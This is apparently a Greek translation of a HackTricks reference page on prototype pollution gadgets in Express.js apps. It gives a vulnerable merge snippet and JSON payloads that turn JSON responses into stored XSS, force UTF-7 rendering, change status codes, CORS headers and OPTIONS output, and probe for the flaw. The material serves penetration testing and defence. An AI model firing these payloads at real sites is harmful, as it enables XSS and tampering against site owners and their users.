Express Prototype Pollution Gadgets

Support HackTricks

Serve XSS responses

Για περισσότερες λεπτομέρειες ρίξτε μια ματιά στην αρχική έρευνα

Change JSON content-type to HTML

Σε μια εφαρμογή Express που χρησιμοποιεί JSON content type response και ανακλά ένα JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

Σε αυτές τις περιπτώσεις, το XSS δεν είναι συνήθως δυνατό με τύπο περιεχομένου JSON. Ωστόσο, με την μόλυνση πρωτοτύπου μπορούμε να μπερδέψουμε το Express ώστε να εξυπηρετήσει μια HTML απάντηση. Αυτή η ευπάθεια βασίζεται στη χρήση του res.send(obj) από την εφαρμογή και στη χρήση του body parser με τον τύπο περιεχομένου application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Με την ρύπανση των ιδιοτήτων body και _body, είναι δυνατόν να προκαλέσουμε την Express να σερβίρει τον τύπο περιεχομένου HTML και να ανακλά την ιδιότητα _body, με αποτέλεσμα αποθηκευμένο XSS.

Απόδοση UTF7

Είναι δυνατόν να κάνουμε την express να αποδώσει περιεχόμενο UTF-7 με:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Safe Scanning Techinques

JSON spaces

Η παρακάτω PP θα προσθέσει ένα επιπλέον διάστημα στα χαρακτηριστικά μέσα σε ένα JSON που δεν θα σπάσει τη λειτουργικότητα:

{"__proto__":{"json spaces": " "}}

Τότε ένα αντανάκλαση JSON θα φαίνεται έτσι:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

Ο παρακάτω PP gadget θα κάνει τον διακομιστή να στείλει πίσω την HTTP κεφαλίδα: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Απαιτείται η εγκατάσταση του CORS module

Μέθοδος OPTIONS

Με το παρακάτω payload, είναι δυνατόν να κρυφτεί μια μέθοδος από μια απάντηση OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Κατάσταση

Είναι δυνατόν να αλλάξετε τον κωδικό κατάστασης που επιστρέφεται χρησιμοποιώντας το παρακάτω PP payload:

{"__proto__":{"status":510}}

Σφάλμα

Όταν αναθέτετε σε ένα πρωτότυπο με μια πρωτογενή τιμή όπως μια συμβολοσειρά, παράγει μια λειτουργία no-op καθώς το πρωτότυπο πρέπει να είναι ένα αντικείμενο. Εάν προσπαθήσετε να αναθέσετε ένα αντικείμενο πρωτοτύπου στο Object.prototype αυτό θα ρίξει μια εξαίρεση. Μπορούμε να χρησιμοποιήσουμε αυτές τις δύο συμπεριφορές για να ανιχνεύσουμε αν η ρύπανση του πρωτοτύπου ήταν επιτυχής:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

Όταν μια εφαρμογή περιλαμβάνει ένα αντικείμενο στην απάντησή της, η δημιουργία ενός χαρακτηριστικού με ένα ασυνήθιστο όνομα μαζί με το __proto__ μπορεί να είναι διαφωτιστική. Συγκεκριμένα, αν μόνο το ασυνήθιστο χαρακτηριστικό επιστρέφεται στην απάντηση, αυτό θα μπορούσε να υποδηλώνει την ευπάθεια της εφαρμογής:

{"unusualName":"value","__proto__":"test"}

Επιπλέον, σε σενάρια όπου χρησιμοποιείται μια βιβλιοθήκη όπως το Lodash, η ρύθμιση μιας ιδιότητας τόσο μέσω της ρύθμισης πρωτοτύπου (PP) όσο και άμεσα μέσα στο αντικείμενο προσφέρει μια άλλη διαγνωστική προσέγγιση. Εάν μια τέτοια ιδιότητα παραλειφθεί από την απόκριση, υποδηλώνει ότι το Lodash επαληθεύει την ύπαρξη της ιδιότητας στο στοχευόμενο αντικείμενο πριν από τη συγχώνευση:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Υπάρχει μια επιλογή στο Express που σας επιτρέπει να δημιουργείτε αντικείμενα από παραμέτρους συμβολοσειράς ερωτήματος. Μπορείτε σίγουρα να το χρησιμοποιήσετε σε μια αλυσίδα σφαλμάτων για να εκμεταλλευτείτε μια ευπάθεια μόλυνσης πρωτοτύπου.

{"__proto__":{"allowDots":true}}

?foo.bar=baz δημιουργεί ένα αντικείμενο στο Node.

Αναφορές

Υποστήριξη HackTricks

Last updated